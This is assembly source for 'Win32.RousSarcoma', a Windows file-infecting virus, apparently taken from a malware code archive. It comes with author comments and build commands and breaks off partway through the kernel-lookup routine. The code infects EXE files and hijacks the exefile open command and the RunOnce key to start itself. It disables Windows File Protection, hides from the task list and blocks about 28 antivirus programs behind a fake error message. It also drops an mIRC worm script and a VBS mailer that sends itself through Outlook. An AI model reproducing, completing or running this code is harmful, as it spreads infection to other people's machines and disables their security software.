MalwareSourceCode/Win32/Infector/Win32.RousSarcoma.asm
2020-10-16 23:26:21 +02:00

1810 lines
53 KiB
NASM
Raw Blame History

;
;
; .--------------------------------.
; | |
; | Win32.RousSarcoma by SnakeByte |
; | SnakeByte@kryptocrew.de |
; | www.kryptocrew.de/snakebyte |
; .__________________________________.
;
;
; This virus was created by the idea of coding a retro virus, which
; is able too fool with some AV's. I was not able to realize all my ideas,
; but I think it is some fun. This virus uses some tricks to make disinfection
; harder. I came to the idea of making a virus which is able to drop itself to
; the original EXE File, when I saw that most AV's do not detect the first
; generation of a lot of viruses. Therefore the one part of this virus stays
; undetected by heuristics. Generally this virus consits of 2 parts. The EXE File
; Part and the one which is executed with an infected file. It "hooks" the execution
; of every EXE File and does not execute it if it is an AV. If it is none, it gets
; infected and started. Before starting the file it also checks if there is an
; mirc.ini in the same path. If there is one, it drops a mirc script worm. In Addition
; to this, the virus install itself in the registry to get started every time with windows.
; It searches the registry for more paths to infect files there. If it can't find more
; paths it drops a vbs script to send the worm around via Outlook.
;
; I am not good at writing so here is an overview of what
; the virus does :
;
;
; Name : Win32.RousSarcoma
; Type : PE-Appender by increasing last section
; Worming : Yes, mIRC Script and VBS Worm
; Operating System : Win32
; Author : SnakeByte
; Payload : None, too boring to write one ;) [ Got some other interesting stuff
; in mind i want to code as soon as possible ]
; Virus Size : 8192 Bytes
; Infection Mark : A-AV
; Encryption : None
; Autostart : RunOnce & exefiles
; Anti-Bait : Does not infect files < 20000 Bytes
; Anti-Debugging : Yes, against SoftIce and Int 1h tracing
; Anti-AV : Yes, does not allow the execution of several AV's
; disables Win2k File Protection
; Anti-User : Hides itself in files & several different places,
; is not shown at ctrl-alt-del list
; Runs at Level : Ring-3, but still infects every EXE File on executing
; Infects : 10 Files in the current directory,
; 10 Files in every path stored in this registry Key :
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
; Every EXE File which gets executed
;
; How to compile ( TASM 5.0 ) :
;
; tasm32 /z /ml /m3 RousSarc,,;
; tlink32 -Tpe -c RousSarc,RousSarc,, import32.lib
; pewrsec RousSarc.EXE
;
; ( Make sure that the .EXE is uppercases !! )
;
; At the moment there are just 100 Bytes of Code i could add, with the file staying
; at 8192 Bytes. If I would add more, the file would grow to 12 KB. I decided to
; keep it small and leave stuff out like encryption or even poly. Maybe it could
; be optimized on several parts to make it fit with encryption to a 8 KB file,
; but I don't mind at the moment
;
;
;
; Thanks and greetz to :
;
; Lord Arz : Did you also finish your EXEFILES "hooking" something ? ;)
; DukeCS : Heh, when will KC be done ? *fg*
; Matsad : Sorry, for not coming, but i got no cash and need to see my girlfriend :P
; Lethal Mind : Heh, where are you ? ;(
; Ciatrix : Nice that you carry on !
;
;
; ***************************************************************************
; ------------------------[ Let's get ready to rumble ]----------------------
; ***************************************************************************
.586p
.model flat
jumps ; calculate Jumps
.radix 16 ; Hexadecimal numbers
; define some API's
extrn ExitProcess:PROC ; Host for EXE-Part
extrn LoadLibraryA:PROC ; nessesairy to get all other API's in the EXE-Part
extrn GetProcAddress:PROC ; cause I don't want DLL not found error's
extrn MessageBoxA:PROC ; for testing
.code
; Some constants
VirusSize equ 8192d ; Lenght of EXE-File
ImageBase equ 400000h ; Imagebase of our TASM generated EXE-File
CPart1 equ 600h
Gap1 equ 0A00h
; ###########################################################################
; -------------------[ This is the first part of the virus ]-----------------
; ###########################################################################
Virus:
; Here do we search for EXE-files and put the
; entire PE-Virus EXE to the end !
; we search for the needed api's with GetProcAdress
; and LoadModuleHandle, so we will not get Problems
; with missing DLL's or API's
mov ebp, 'VA-A' ; place a mark in ebp, to identify this part
lea eax, KERNEL32 ; push name of kernel32.dll
push eax
call LoadLibraryA ; save Handle
mov dword ptr [K32Handle], eax
test eax, eax ; if we failed we stop here
jz FirstGenHost
lea esi, Kernel32Names ; get all API's we need from kernel
lea edi, XFindFirstFileA
mov ebx, K32Handle
push NumberOfKernel32APIS
pop ecx
call GetAPI3 ; the procedure is needed in both parts
lea eax, advname ; push name of advapi32.dll
push eax
call LoadLibraryA ; save Handle
mov dword ptr [ADVHandle], eax
test eax, eax ; if we failed we stop here
jz FirstGenHost
lea esi, AdvapiNames ; get all API's we need from kernel
lea edi, XRegOpenKeyExA
mov ebx, ADVHandle
push NumberOfAdvapiAPIS
pop ecx
call GetAPI3 ; the procedure is needed in both parts
; Lets hide our Application from the CTRL-ALT-DEL List,
; to prevent us from being detected by a suspicious user ;)
; Check if the API is available
cmp dword ptr [XRegisterServiceProcess],0
je NoHide
; Get ID of our process
call dword ptr [XGetCurrentProcessId]
push 1 ; We want to run as a service
push eax ; process id
call dword ptr [XRegisterServiceProcess]
NoHide:
; ***************************************************************************
; ---------------------------[ Initialisation ]------------------------------
; ***************************************************************************
; Lets do a check on our commandline params,
; to see, if we got startet with a filename
; in it --> exefile method
call dword ptr [XGetCommandLineA]
mov dword ptr [CmdLine], eax
; the start of the commandline is in eax,
; we will parse it to the .exe part to see
; if there is anything afterwards
CommandReceive1:
cmp dword ptr [eax],'EXE.'
je CommandOK1
inc eax
jmp CommandReceive1
CommandOK1:
add eax, 4h ; eax points directly after the <name>.exe
cmp byte ptr [eax], 0 ; if the Commandline ends here, we do not need
je SetRunOnceKey ; to care about this ;)
add eax, 2h ; skip blanc and "
mov esi, eax ; save it
mov dword ptr [SaveBlanc], esi
push esi
call AVNameCheck
cmp esi, 0
je AVMessage
pop esi
jmp mIRCcheck
AVMessage: ; Arg ! Dirty AV found .. :P
pop esi ; lets drop a message
push 30h ; Style
push esi
push offset AVMsg
push 0
call MessageBoxA
jmp SetRunOnceKey
AVMsg db "File is corrupted. Can't start program",0
PathEnd dd 0h
mIRCcheck: ; we search for the path
pushad
push offset PathEnd
push offset NameBuffer
push 255d
push dword ptr [SaveBlanc]
call dword ptr [XGetFullPathNameA]
mov edi, dword ptr [PathEnd]
mov esi, offset mircINI ; append the mirc.ini to the path
mov ecx, 9d
rep movsb ; and now we need to check if the mIRC.ini does exist
; if it does, we found a mirc script to infect *eg*
; because we infect it bevore mIRC gets loaded, we do not
; need to fear the mIRC worm protection
lea esi, NameBuffer
call FindFirstFileProc
cmp eax, -1 ; we did not found the mirc.ini ;(
je NoMirc
push offset NameBuffer ; Write our entry to the file
push offset MIRCprot
push offset MOffset
push offset MIRCrfiles
call dword ptr [XWritePrivateProfileStringA]
mov edi, dword ptr [PathEnd]
mov esi, offset MIRCprot ; append the RousSarc.ini to the path
mov ecx, 13d
rep movsb ; and now we need to check if the mIRC.ini does exist
push 0
push 080h ; normal attribs
push 2h ; create a new file (always)
push 0
push 0
push 0C0000000h ; read + write
lea eax, NameBuffer ; file we create
push eax
Call dword ptr [XCreateFileA]
cmp eax, 0FFFFFFFFh
je NoMirc
push eax ; save filehandle
push 0 ; write script to file
push offset Write
push offset EndScript - offset MIRCscript
push offset MIRCscript
push Handle
call dword ptr [XWriteFile]
; Handle is still on the stack, so we close the file
call dword ptr [XCloseHandle]
NoMirc:
; close the search handle
push dword ptr [FindHandle]
call dword ptr [XCloseHandle]
popad
CommandReceive2: ; so we will be able to locate the file and
cmp byte ptr [eax],'.' ; infect it
je CommandOK2
cmp byte ptr [eax],0 ; check if we don't get too far
je Outbreak
inc eax
jmp CommandReceive2
CommandOK2:
add eax, 4h
cmp byte ptr [eax],0
jne ZeroAfterName
mov byte ptr [eax+1],0
ZeroAfterName:
mov byte ptr [eax],0 ; we place a Zero here, so we can do a findfirst
; on the filename which is in esi
push eax
push esi
call FindFirstFileProc
pop esi ; esi points to start of filename
pop ebx ; ebx points to the parameters
cmp eax, -1 ; file is not there :(
je Outbreak ; we infect some others
pushad ; save registers
lea edi, WFD_szFileName
mov ecx, ebx ; lenght of filename in ecx
sub ecx, esi
inc ecx
rep movsb ; write filename & path there
lea esi, WFD_szFileName ; point to filename
call InfectFile ; infect file
popad ; restore registers
; esi points to start of filename
; ebx points to the parameters
mov byte ptr [ebx], " " ; place a blank here
xor eax, eax ; let's execute the file
push offset ProcessInformation
push offset StartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push esi ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]
SetRunOnceKey: ; Here we go if we found an AV or got
; or after executing a program
; lets add 2 autostart features
; Now we store the name of this file in the RunOnce key
; ( we add our file that regulary, that it will be always there,
; but nearly noone looks for files in this key *g* )
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset RunOnceKey ; check if our key exists
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]
cmp eax, 0
jne CheckOwnKey
xor eax, eax ; search for end of Systemdirectory
lea edi, NameBuffer
mov ebx, edi
repnz scasb
sub ebx, edi
inc ebx
push ebx
push offset NameBuffer ; Value
push 1h ; String
push 0 ; reserved
push offset Valuename ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]
jmp FirstGenHost
SaveBlanc dd 0h
EXEFilesKey db 'exefile\shell\open\command',0
EXEFilesValue db 'RousSarc.EXE "%1" %*',0
EFVSize equ $ - offset EXEFilesValue
; ***************************************************************************
; ------------------------------[ Outbreak ! ]-------------------------------
; ***************************************************************************
Outbreak: ; We got no commandline !
HKEY_CURRENT_USER equ 80000001h
HKEY_LOCAL_MACHINE equ 80000002h
; first of all, let's disable the win2k virus protection
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset _2kProt ; check if our key exists
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]
test eax, eax ; if we failed opening the key, we return
jz No2kProt
; Value to disable Windows File Protection
mov dword ptr [RegBuffer], 0ffffff9dh
push 4
push offset RegBuffer ; Value
push 4h ; REG_DWORD
push 0 ; reserved
push offset _2kProtValue ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]
; Close it again
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]
No2kProt: ; Now we will copy ourselfes into the windows directory
; to be able to respond to every started file
; we just got the cmd line
mov eax, dword ptr [CmdLine]
CommandReceive3:
cmp dword ptr [eax],'EXE.'
je CommandOK3
inc eax
jmp CommandReceive3
CommandOK3:
add eax, 4h ; eax points directly after the <name>.exe
mov byte ptr [eax], 0 ; Place a 0 here to copy the file
push 255d
push offset NameBuffer
call dword ptr [XGetWindowsDirectoryA]
xor eax, eax ; search for end of Systemdirectory
lea edi, NameBuffer
repnz scasb
dec edi
lea esi, RunOnceName ; Append Filename
mov ecx, 13d
rep movsb
; Copy our file to the system directory
push 1
push offset NameBuffer ; where to store
push dword ptr [CmdLine] ; existing
call dword ptr [XCopyFileA]
; Lets set the Exefiles Key
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset EXEFilesKey ; Open It
push 80000000h ; HKEY_CLASSES_ROOT
call dword ptr [XRegOpenKeyExA]
cmp eax, 0
jne CheckOwnKey
; Let's set our Value
push EFVSize
push offset EXEFilesValue ; Value
push 1h ; String
push 0h ; reserved
push 0h ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]
CheckOwnKey:
mov dword ptr [RegBuffer], 0h
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset MyKey ; check if our key exists
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
call dword ptr [XRegOpenKeyExA]
test eax, eax ; if we failed opening the key, we return
jz KeySet
xor eax, eax ; clear eax
push offset Dispostiton
push offset RegHandle
push eax ; security attribs
push 001F0000h ; complete access
push eax ; REG_OPTION_NON_VOLATILE
push eax ; lpClass
push eax ; reserved
push offset MyKey ; Subkey
push HKEY_CURRENT_USER ; HKEY_CURRENT_USER
call dword ptr [XRegCreateKeyExA]
KeySet:
push offset RegData2
push offset RegBuffer
push offset RegData1
push 0
push offset Valuename
push dword ptr [RegHandle]
call dword ptr [XRegQueryValueExA]
; RegBuffer contains now a value after which
; we decide what to do, but first, we increment the
; value and save it
inc dword ptr [RegBuffer] ; Increment Value
push 4
push offset RegBuffer ; Value
push 4h ; REG_DWORD
push 0 ; reserved
push offset Valuename ; value name
push dword ptr [RegHandle]
call dword ptr [XRegSetValueExA]
; Close the key
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]
mov eax, dword ptr [RegBuffer]
; Now we decide what to do ( we start with 2 because we just incremented it and i will not do anything after
; the second start, cause we need one reboot to disable WFP ) :
;
; Value - what to do
;
; 2 - infect directory 1 of
; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
; 3 - " " 2 " ""
; 4 - " " 3 " ""
; 5 - " " 4 " ""
; 6 - " " 5 " ""
; ... no more directorys in RegKey ? --> set value to 0
dec eax
dec eax
jz NoRegistryInfection
push eax
push offset RegHandle
push 001F0000h ; complete access
push 0h ; reserved
push offset AppPaths ; App Paths are stored here
push HKEY_LOCAL_MACHINE ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]
pop eax
push 255d
push offset NameBuffer
push eax ; Key Number we want to retrieve
push dword ptr [RegHandle]
call dword ptr [XRegEnumKeyA]
cmp eax, 0
jne DropVBSWorm
push offset RegHandle2
push 001F0000h ; complete access
push 0h ; reserved
push offset NameBuffer ; App Paths are stored here
push dword ptr [RegHandle] ; HKEY_LOCAL_MACHINE
call dword ptr [XRegOpenKeyExA]
; Read Vakze
mov dword ptr [RegData2], 255d
push offset RegData2
push offset NameBuffer
push offset RegData1
push 0
push offset PathValue
push dword ptr [RegHandle2]
call dword ptr [XRegQueryValueExA]
push dword ptr [RegHandle2]
call dword ptr [XRegCloseKey]
lea edi, NameBuffer ; Remove ; to get directory
mov al, ';'
mov ecx, 254d
repnz scasb
dec edi
mov byte ptr [edi], 0
push offset CurrentPath ; Get Current dir and save it
push 255d
call dword ptr [XGetCurrentDirectoryA]
push offset NameBuffer ; set new directory
call dword ptr [XSetCurrentDirectoryA]
call InfectCurDir ; Infect the directory
push offset CurrentPath ; restore old directory
call dword ptr [XSetCurrentDirectoryA]
CloseRegInfection:
push dword ptr [RegHandle]
call dword ptr [XRegCloseKey]
NoRegistryInfection:
call InfectCurDir ; Infect the current directory
jmp FirstGenHost
DropVBSWorm: ; Ok, we found no more directorys in the App Paths
; Registry Key, so we will drop a little VBS Script
; and execute it, so the virus will also spread with
; the help of outlook
push 0
push 080h ; normal attribs
push 2h ; create a new file (always)
push 0
push 0
push 0C0000000h ; read + write
lea eax, VBSWorm
push eax
Call dword ptr [XCreateFileA]
cmp eax, 0FFFFFFFFh
je CloseRegInfection
push eax ; save filehandle
push 0 ; write script to file
push offset Write
push offset EndVBSScript - offset VBSscript
push offset VBSscript
push Handle
call dword ptr [XWriteFile]
; Handle is still on the stack, so we close the file
call dword ptr [XCloseHandle]
xor eax, eax ; let's execute the wormy script
push offset ProcessInformation
push offset StartupInfo
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push offset VBSWorm ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]
jmp CloseRegInfection
VBSscript:
db 'On Error Resume Next', 13d, 10d
db 'Dim R', 13d, 10d
db 'Set RS=CreateObject("Outlook.Application")', 13d, 10d
db 'For R=1 To 500', 13d, 10d
db 'Set Mail=RS.CreateItem(0)', 13d, 10d
db 'Mail.to=RS.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)', 13d, 10d
db 'Mail.Subject="Funny Thing !"', 13d, 10d
db 'Mail.Body="Take a look at this and just start laughing !"', 13d, 10d
db 'Mail.Attachments.Add("C:\RousSarc.EXE")', 13d, 10d
db 'Mail.Send', 13d, 10d
db 'Next', 13d, 10d
db 'RS.Quit', 13d, 10d, 13d, 10d
EndVBSScript:
VBSWorm db 'C:\RousSarc.vbs',0
AppPaths db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths',0
PathValue db 'Path',0
RegData2 dd 4h ; Bytes to read in Buffer
RegBuffer dd 0h ; Buffer
Valuename db 'RousSarcoma',0
MyKey db 'RousSarcoma',0
RegHandle2 dd 0h
; ***************************************************************************
; --------------------------[ Infection current dir ]------------------------
; ***************************************************************************
; We got all we need
; let's party ;)
InfectCurDir: ; Infect up to 10 files in the current directory
; use FindFirstFile / Next to find files
; 10 files at max.
mov dword ptr [InfCounter], 10d
lea esi, filemask
call FindFirstFileProc
inc eax
jz EndInfectCurDir1 ; did we get all ?
dec eax
InfectCurDirFile:
; Filename in esi
lea esi, WFD_szFileName
call InfectFile ; Try it !
cmp dword ptr [InfCounter], 0h
jna EndInfectCurDir2
call FindNextFileProc
test eax, eax
jnz InfectCurDirFile
EndInfectCurDir2: ; close Search - Handle
push dword ptr [FindHandle]
call dword ptr [XFindClose]
EndInfectCurDir1:
ret
; ***************************************************************************
; -------------------------[ prepare Infection ]----------------------------
; ***************************************************************************
InfectFile: ; filename is in WFD_szFileName
; esi shows to this value
call AVNameCheck
cmp esi, 0h
je NoInfection
lea esi, WFD_szFileName
; ignore files smaller than 20000 Bytes
cmp dword ptr [WFD_nFileSizeLow], 20000d
jbe NoInfection
; ignore files bigger than 4,3 GB
cmp dword ptr [WFD_nFileSizeHigh], 0
jne NoInfection
call OpenFile ; Open File
jc NoInfection ; stop if there are problems
mov esi, eax
call CheckMZSign ; Check for DOS-Stub
jc Notagoodfile
cmp word ptr [eax+3Ch], 0h
je Notagoodfile
xor esi, esi ; get PE-Header
mov esi, [eax+3Ch]
; Check if file is corrupted
cmp dword ptr [WFD_nFileSizeLow], esi
jb Notagoodfile
add esi, eax
mov edi, esi
call CheckPESign ; Check for PE-Header
jc Notagoodfile
; Check Infection Mark
; --> A-AV ( Anti- Anti-Virus )
cmp dword ptr [esi+4Ch], 'VA-A'
jz Notagoodfile
mov bx, word ptr [esi+16h]; Get Characteristics
and bx, 0F000h ; select Dll-Flag
cmp bx, 02000h
je Notagoodfile ; we won't no DLL Files
mov bx, word ptr [esi+16h]; Check for DLL-Files
and bx, 00002h
cmp bx, 00002h
jne Notagoodfile
call InfectEXE ; Infect this sucker !
jc NoInfection
Notagoodfile:
call UnMapFile
NoInfection:
ret
; ***************************************************************************
; ------------------------------[ File-Handling ]----------------------------
; ***************************************************************************
; FileName needs to be in esi
OpenFile:
xor eax,eax ; Open Files
push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi ; Filename is in ESI
call dword ptr [XCreateFileA]
inc eax
jz Closed
dec eax
mov dword ptr [FileHandle],eax
mov ecx, dword ptr [WFD_nFileSizeLow]
CreateMap:
push ecx
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [FileHandle]
call dword ptr [XCreateFileMappingA]
mov dword ptr [MapHandle],eax
pop ecx ; Get Map-Site
test eax, eax
jz CloseFile ; Datei wieder...
xor eax,eax
push ecx
push eax
push eax
push 2h
push dword ptr [MapHandle]
call dword ptr [XMapViewOfFile]
or eax,eax
jz UnMapFile
; EAX contains starting offset of the map
mov dword ptr [MapAddress],eax
clc
ret
UnMapFile:
call UnMapFile2
CloseFile:
push dword ptr [FileHandle]
call [XCloseHandle]
Closed:
stc
ret
UnMapFile2:
push dword ptr [MapAddress]
call dword ptr [XUnmapViewOfFile]
push dword ptr [MapHandle]
call dword ptr [XCloseHandle]
ret
; ***************************************************************************
; ---------------------[ Infection of the EXE-File ]-------------------------
; ***************************************************************************
InfectEXE: ; MapAddress contains the start address of the file
mov ecx, [esi+3Ch] ; esi points to PE-Header
; ecx = Alignment Faktor
mov eax, dword ptr [WFD_nFileSizeLow]
add eax, VirusSize
call Align
mov dword ptr [NewSize], eax
xchg ecx, eax
pushad
call UnMapFile2 ; remap file
popad
call CreateMap
jc NoEXE
; esi = PE-Header
mov esi, dword ptr [eax+3Ch]
add esi, eax
mov edi, esi ; edi = esi
; eax = Sections
; get last section
movzx eax, word ptr [edi+06h]
dec eax
imul eax, eax, 28h
add esi, eax
add esi, 78h ; point to Directory Table
mov edx, [edi+74h] ; Get Directory Entrys
shl edx, 3h
add esi, edx
; get EIP
mov eax, [edi+28h]
mov dword ptr [OldEIP], eax
; get Imagebase
mov eax, [edi+34h]
mov dword ptr [OldBase], eax
mov edx, [esi+10h] ; get size of RAW-Data
mov ebx, edx
add edx, [esi+14h] ; edx = points to raw-data
push edx
mov eax, ebx
add eax, [esi+0Ch] ; EAX contains now Start of our file
; but we need to point it to the second part of the virus
add eax, ( offset SecondPart - ImageBase ) - Gap1
; the 0A00h are caused by the uninitialized data
mov [edi+28h], eax
mov dword ptr [NewEIP], eax
mov eax, [esi+10h] ; enlarge Raw-Data
push eax
add eax, VirusSize ; VirusSize = Size of entire file
mov ecx, [edi+3Ch] ; align it
call Align
mov [esi+10h], eax ; save in file
pop eax ; new Virtual-Size
add eax, VirusSize
mov [esi+08h], eax
pop edx
mov eax, [esi+10h]
add eax, [esi+0Ch] ; get new imagesize
mov [edi+50h], eax
; change the section flags
or dword ptr [esi+24h], 0A0000020h
; Write infection mark to file
; --> A-AV ( Anti- Anti-Virus )
mov dword ptr [edi+4Ch], 'VA-A'
xchg edi, edx
; save the start of the virus in file
mov dword ptr [StartofVirusinFile], edi
add edi, dword ptr [MapAddress]
push edi
call OpenMyself
; lets save the right Imagebase and EIP
; inside our buffered file ;)
; Save EIP & Imagebase
mov eax, dword ptr [OldEIP]
lea edi, FileBuffer
add edi, (offset retEIP - ImageBase) - Gap1
stosd
mov eax, dword ptr [OldBase]
lea edi, FileBuffer
add edi, (offset retBas - ImageBase) - Gap1
stosd
pop edi
lea esi, FileBuffer
mov ecx, VirusSize ; First Part
rep movsb ; append
; we need two steps, otherwise we would fill the
dec byte ptr [InfCounter]
clc
ret
NoEXE:
stc
ret
; ***************************************************************************
; -------------------------[ Open Us-Prozedur ]------------------------------
; ***************************************************************************
OpenMyself: ; this Procedure returns the start of
; the current file in esi
; first we need the filename
pushad
call dword ptr [XGetCommandLineA]
inc eax
mov dword ptr [CmdLine], eax
CommandReceive:
cmp dword ptr [eax],'EXE.'
je CommandOK
inc eax
jmp CommandReceive
CommandOK:
add eax, 4h
mov byte ptr [eax],0 ; CmdLine contains now a pointer
; to the filename of our file
mov esi, dword ptr [CmdLine]
xor eax,eax ; Open File
push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h
push esi ; Filename is in ESI
call dword ptr [XCreateFileA]
mov ebx, eax ; save handle
push 0 ; load the file into the free memory
push offset Read ; number of bytes read..
push VirusSize ; read how many bytes ?
push offset FileBuffer
push eax
call dword ptr [XReadFile]
push ebx
call dword ptr [XCloseHandle]
popad
ret
Read dd ?
; ***************************************************************************
; -----------------------[ Check if we got an AV ]---------------------------
; ***************************************************************************
AVNameCheck: ; pointer to name is in esi
pushad ; save all registers
lea edi, NameBuffer ; we transfer the name to a buffer
xor ecx, ecx
NameCheckLoop:
cmp byte ptr [esi], 0 ; check if we are at the end
je NameTransferred
lodsb ; get first letter
cmp al, 96d
jb StoreLetter
sub al, 32d ; convert to uppercase
StoreLetter:
stosb
inc ecx
jmp NameCheckLoop
NameTransferred: ; nothing found .. :(
cmp ecx, 0
je EndNameCheck
mov dword ptr [NameLen], ecx
mov edx, 28d ; Number of AV-Names we check
lea esi, AVNames ; Pointer to the names
lea ebp, AVLenght
CheckLoop:
call NameCheck ; Procedure to check this name
jc WeGotAvName ; if Carriage Flag is set we got one
dec edx ; otherwise we search on, until edx = 0
jz EndNameCheck
xor eax, eax
mov al, byte ptr [ebp] ; increase esi
mov esi, dword ptr [NameESI2]
add esi, eax
inc ebp
jmp CheckLoop
EndNameCheck: ; We found nothing :)
popad
ret
WeGotAvName: ; We found a dirty AV :(
popad
xor esi, esi ; ESI = 0 as flag
ret
NameCheck: ; ECX contains the size of the search area
; ESI points to av name
; EDI points to filename
mov dword ptr [NameESI2], esi
mov ecx, dword ptr [NameLen]
lea edi, NameBuffer ; here we search for the Name
mov al, byte ptr [esi] ; get first byte into al..
mov dword ptr [NameESI], esi ; avname
mov dword ptr [NameEDI], edi ; filename
SearchOn:
mov esi, dword ptr [NameESI] ; avname
mov edi, dword ptr [NameEDI]
repnz scasb ; start search
cmp ecx,0
jz NoAV
mov dword ptr [NameESI], esi
dec edi
mov dword ptr [NameEDI], edi
Compare: ; compare the rest of the string
xor ecx, ecx
mov cl, byte ptr [ebp] ; points to stringlenght
Compare2:
repz cmpsb
jc Compare2
cmp ecx,0
jz Found
NoAV:
ret
Found: ; We got a dirty AV :P
stc ; set flag
ret
NameLen dd 0h ; Size of the filename
NameESI dd 0h ; Pointer to av name
NameEDI dd 0h ; Pointer to filename
NameESI2 dd 0h ; Pointer to av name
; Table with names of AV-File we don't start
AVNames:
db 'AVPM' ; AVP Names
db 'AVP32'
db 'AVPCC'
db 'AVPTC'
db '_AVPM'
db '_AVP32'
db '_AVPCC'
db 'AVPDOS'
db 'AVE32' ; Anti-Vir
db 'AVGCTRL'
db 'AVWIN95'
db 'SCAN32' ; DR-Solomon
db 'AVCONSOL'
db 'VSHWIN32'
db 'FP-WIN' ; F-Prot
db 'F-STOPW'
db 'DVP95' ; F-Secure
db 'F-AGNT95'
db 'F-PROT95'
db 'VET95' ; InnoculateIT
db 'VETTRAY'
db 'CLAW95' ; Norman Virus Control
db 'NVC95'
db 'NAVAPW32' ; Norton
db 'NAVW32'
db 'SWEEP95' ; Sophos
db 'IOMON98' ; PC-Cillin
db 'PCCWIN98'
db 'MONITOR' ; RAV
db 'RAW7WIN'
AVLenght:
db 4d, 5d, 5d, 5d, 5d, 6d, 6d, 6d ; AVP
db 5d, 7d, 7d ; ANTI-Vir
db 6d, 8d, 8d ; DR-Solomon
db 6d, 7d ; F-PROT
db 5d, 8d, 8d ; F-Secure
db 5d, 7d ; Innoculate-IT
db 6d, 5d ; Norman
db 8d, 6d ; Norton
db 7d ; Sophos
db 7d, 8d ; PC-Cillin
db 7d, 7d ; RAV
; ***************************************************************************
; --------------------------[ Align-Prozedur ]-------------------------------
; ***************************************************************************
; eax - Size
; ecx - base
Align:
push edx
xor edx, edx
push eax
div ecx
pop eax
sub ecx, edx
add eax, ecx
pop edx ; eax - New Size
ret
; ***************************************************************************
; --------------------------[ FindFile Prozeduren ]--------------------------
; ***************************************************************************
; Search for files
FindFirstFileProc:
call ClearFindData
lea eax, WIN32_FIND_DATA
push eax
push esi
call dword ptr [XFindFirstFileA]
mov dword ptr [FindHandle], eax
ret
FindNextFileProc:
call ClearFindData
lea eax, WIN32_FIND_DATA
push eax
mov eax, dword ptr [FindHandle]
push eax
call dword ptr [XFindNextFileA]
ret
ClearFindData:
lea edi, WFD_szFileName
mov ecx, 276d ; clear old data
xor eax, eax
rep stosb
ret
;****************************************************************************
;-----------------------------[ PE / MZ Check ]------------------------------
;****************************************************************************
; Check MZ and PE - Signs
CheckPESign:
cmp dword ptr [edi], 'FP' ; greater or equal to "PF"
jae NoPESign
cmp dword ptr [edi], 'DP' ; lower or equal to "PD"
jbe NoPESign
clc ; all left is "PE"
ret
NoPESign:
stc
ret
CheckMZSign:
cmp word ptr [esi], '[M'
jae NoPESign
cmp word ptr [esi], 'YM'
jbe NoPESign
clc
ret
ret
; ***************************************************************************
; ----------------[ This is the host for the EXE-Virus Part ]----------------
; ***************************************************************************
FirstGenHost:
push 0h ; stop this !
call ExitProcess
jmp FirstGenHost
;
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
; ////////////////////////////////////////////////////////////////////////////\
; ###########################################################################/\
; ------------------[ This is the second part of the Virus ]-----------------/\
; ###########################################################################/\
; ////////////////////////////////////////////////////////////////////////////\
; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;
SecondPart:
; Here do we drop the entire file from the
; infected goat and execute it
; ***************************************************************************
; -------------------------[ Search for Kernel ]-----------------------------
; ***************************************************************************
call Delta
Delta:
pop ebp
sub ebp, offset Delta
mov esi, [esp] ; get Create Process API
xor si, si
call GetKernel ; Search for kernel
jnc GetApis ; If we got it we carry on..
jmp ExecuteHost
; ***************************************************************************
; --------------------[ Search-Kernel Procedure ]----------------------------
; ***************************************************************************
GetKernel:
mov byte ptr [ebp+K32Trys], 5h
GK1:
cmp byte ptr [ebp+K32Trys], 00h
jz NoKernel ; did we pass the limit ?
call CheckMZSign ; Check for exe-stub
jnc CheckPE
GK2:
sub esi, 10000h ; search next page
dec byte ptr [ebp+K32Trys]
jmp GK1 ; test again
CheckPE: ; test for PE-Header
mov edi, [esi+3Ch]
add edi, esi
call CheckPESign
jnc CheckDLL ; check dll-sign
jmp GK2
CheckDLL:
add edi, 16h
mov bx, word ptr [edi] ; get characteristics
and bx, 0F000h ; to check for dll flag
cmp bx, 02000h
jne GK2
KernelFound: ; We got it !
sub edi, 16h ; edi = PE-Header
xchg eax, edi ; eax = PE offset
xchg ebx, esi ; ebx = MZ offset
clc ; clear carriage flag
ret
NoKernel:
stc ; set carriage flag if we did not found it
ret
K32Trys db 5h ; search range
; ***************************************************************************
; ---------------------------[ Search for API's ]----------------------------
; ***************************************************************************
; we search for LoadLibaryA and GetProcAddress
; in the kernel to get the other API's
LL db 'LoadLibraryA', 0h
GPA db 'GetProcAddress', 0h
GetApis: ; offset of Kernel32.dll PE-headers in eax
mov [ebp+KernelAddy], eax ; save
